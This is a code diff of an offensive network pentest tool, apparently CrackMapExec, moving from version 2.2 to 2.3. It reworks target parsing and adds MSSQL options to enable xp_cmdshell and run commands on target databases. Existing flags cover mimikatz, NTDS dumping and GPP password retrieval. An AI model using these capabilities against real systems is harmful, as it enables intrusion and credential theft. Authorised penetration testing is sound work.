IPRange, IPNetwork, AddrFormatError from logging import DEBUG -from random import sample -from string import ascii_lowercase import re import argparse import sys import os -VERSION = '2.2' -CODENAME = '\'All I want for Christmas is a better name for this\'' +VERSION = '2.3' +CODENAME = '\'Pink Bubbles\'' if sys.platform == 'linux2': if os.geteuid() is not 0: - root_error() + print_error('I needz r00tz!') + sys.exit(1) parser = argparse.ArgumentParser(description=""" ______ .______ ___ ______ __ ___ .___ ___. ___ .______ _______ ___ ___ _______ ______ @@ -48,7 +47,7 @@ parser = argparse.ArgumentParser(description=""" @pentestgeek's smbexec https://github.com/pentestgeek/smbexec {}: {} - {}: {} + {}: {} """.format(red('Version'), yellow(VERSION), red('Codename'), @@ -58,7 +57,7 @@ parser = argparse.ArgumentParser(description=""" version='{} - {}'.format(VERSION, CODENAME), epilog='There\'s been an awakening... have you felt it?') -parser.add_argument("target", nargs=1, type=str, help="The target IP, range, CIDR identifier, hostname, FQDN or list or file containg a list of targets") +parser.add_argument("target", nargs='*', type=str, help="The target IP, range, CIDR identifier, hostname, FQDN or list or file containg a list of targets") parser.add_argument("-t", type=int, dest="threads", default=100, help="Set how many concurrent threads to use (defaults to 100)") parser.add_argument("-u", metavar="USERNAME", dest='user', type=str, default=None, help="Username(s) or file containing usernames") parser.add_argument("-p", metavar="PASSWORD", dest='passwd', type=str, default=None, help="Password(s) or file containing passwords") @@ -139,13 +138,19 @@ wgroup.add_argument("--start-type", metavar='TYPE', help='Service start type') wgroup.add_argument("--start-name", metavar='NAME', help='Name of the account under which the service should run') wgroup.add_argument("--start-pass", metavar='PASS', help='Password of the account whose name was specified with the --start-name parameter') +mgroup = parser.add_argument_group("MSSQL Interaction", "Options for interacting with MSSQL DB's") +mgroup.add_argument("--mssql", nargs='?', const='', metavar='QUERY', help='Authenticate with the provided credentials against the MSSQL service, optionally execute the specified query') +mgroup.add_argument("--mssql-port", default=1433, metavar='PORT', help='MSSQL service port (default: 1433)') +mgroup.add_argument("--mssql-instance", action='store_true', help='Enumerate the MSSQL intances on the target hosts') +mgroup.add_argument("--enable-xpcmdshell", action='store_true', help='Enable xp_cmdshell on target DB\'s') +mgroup.add_argument("--disable-xpcmdshell", action='store_true', help='Disable xp_cmdshell on target DB\'s') +mgroup.add_argument("--xp-cmd", metavar='COMMAND', help='Execute the specified command using xp_cmdshell') + if len(sys.argv) == 1: parser.print_help() sys.exit(1) args = parser.parse_args() -args.obfs_func_name = ''.join(sample(ascii_lowercase, 10)) -args.target = args.target[0] patterns = [] targets = [] @@ -164,9 +169,9 @@ if args.server == 'https': init_args(args) if args.verbose: - setup_logger(args.target, DEBUG) + setup_logger('_'.join(args.target), DEBUG) else: - setup_logger(args.target) + setup_logger('_'.join(args.target)) ###################### Just a bunch of error checking to make sure everythings good to go ###################### @@ -228,7 +233,7 @@ if args.ntds_history or args.ntds_pwdLastSet: ################################################################################################################ -def get_targets(target): +def populate_targets(target): if '-' in target: ip_range = target.split('-') try: @@ -243,30 +248,27 @@ def get_targets(target): end_ip = IPAddress('.'.join(start_ip_words)) - return IPRange(start_ip, end_ip) + t = IPRange(start_ip, end_ip) except AddrFormatError: - return target + t = target else: try: - return IPNetwork(target) + t = IPNetwork(target) except AddrFormatError: - return target + t = target -if os.path.exists(args.target): - with open(args.target, 'r') as target_file: - for target in target_file: - t = get_targets(target) - if type(t) is IPNetwork or IPRange: - targets.extend(list(t)) - else: - targets.append(t) -else: - for target in args.target.split(','): - t = get_targets(target) - if type(t) == IPNetwork or type(t) == IPRange: - targets.extend(list(t)) - else: - targets.append(t) + if type(t) == IPNetwork or type(t) == IPRange: + targets.extend(list(t)) + else: + targets.append(t) + +for target in args.target: + if os.path.exists(target): + with open(target, 'r') as target_file: + for target_entry in target_file: + populate_targets(target_entry) + else: + populate_targets(target) if args.mimikatz or args.powerview or args.gpp_passwords or args.mimikatz_cmd or args.inject or args.ntds == 'ninja': if args.server == 'http': @@ -282,7 +284,7 @@ def concurrency(targets): ''' try: pool = Pool(args.threads) - jobs = [pool.spawn(connect, str(target)) for target in targets] + jobs = [pool.spawn(main_greenlet, str(target)) for target in targets] joinall(jobs) except KeyboardInterrupt: shutdown(0)